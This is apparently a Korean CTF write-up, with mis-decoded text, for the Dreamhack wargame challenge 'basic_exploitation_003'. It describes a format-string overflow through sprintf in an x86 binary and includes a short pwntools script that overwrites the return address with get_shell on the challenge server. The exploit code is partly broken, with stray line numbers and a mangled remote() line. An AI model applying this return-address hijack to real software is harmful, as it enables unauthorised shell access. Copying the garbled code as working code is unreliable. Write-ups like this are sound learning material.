Jastes 2022. 10. 30. 23:50


basic_exploitation_003

๋ฌธ์ œ ํ’€์ด

๋˜ x86..์ด๋„ค์š” ์ด๊ฑฐ ์ด์   ์ต์ˆ™ํ•ด์ง€๊ฒ ๋„ค ์ข‹๋‹ค
NX์™€ Partial RELRO.. ๊ทธ๋Ÿฌ๋‚˜ FSB๋กœ ํ’€์–ด์•ผํ•˜๋Š” ๋ฌธ์ œ๋‹ˆ๊นŒ C์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด

head_buf๊ฐ€ ์ ์ ˆํ•˜๊ฒŒ ret๋ถ€๋ถ„์— get_shell()์ฃผ์†Œ๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ๋  ๊ฑฐ ๊ฐ™์€๋ฐ..

sprintf ๋Š” ๊ธธ์ด๋ฅผ ๋”ฐ๋กœ ์ง€์ •ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— bof๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.
BOF๋ฌธ์ œ์ด์ง€๋งŒ.. ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š” ๊ธ€์งœ ์ˆ˜๊ฐ€ read๋กœ 0x80์œผ๋กœ ์ œํ•œ ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค 
์ €ํฌ๋Š” 0x90์„ ๋„˜๊ฒจ์•ผํ•˜๋Š”๋ฐ..


Exploit ์„ค๊ณ„

ret ์ฃผ์†Œ๋ฅผ ํŒŒ์•…ํ•˜๊ณ  %Nc๋กœ ret์— get_shell()์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋๋‚˜๊ฒ ๋„ค์š”


Exploit

stack_buf์˜ ์ฃผ์†Œ๋Š” sprintf๋กœ ๋˜๋‹ˆ๊นŒ ์œ„์™€ ๊ฐ™์ด ํ™•์ธ๋„ ๋ฉ๋‹ˆ๋‹ค

stack_buf : ebp-0x98

heap_buf์˜ ์ฃผ์†Œ๋Š” read์—์„œ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๊ฒ ์ฃ ?

heap_buf : ebp-0x8

ํ•„์š”ํ•œ๊ฑด ๋‹ค ๊ตฌํ–ˆ์œผ๋‹ˆ๊นŒ

stack_buf๋Š” 0x98๋งŒํผ ๋–จ์–ด์ ธ์žˆ์œผ๋‹ˆ๊นŒ sfp๊นŒ์ง€ ๋”ํ•ด์„œ ๋„ฃ์–ด์ฃผ๋ฉด ๋  ๊ฑฐ ๊ฐ™๋„ค์š”

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
 
= remote('host3.dreamhack.games'8790)
 
get_shell = 0x8048669
payload = b"%156c" + p32(get_shell)
 
p.sendline(payload)
 
p.interactive()
 
cs


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€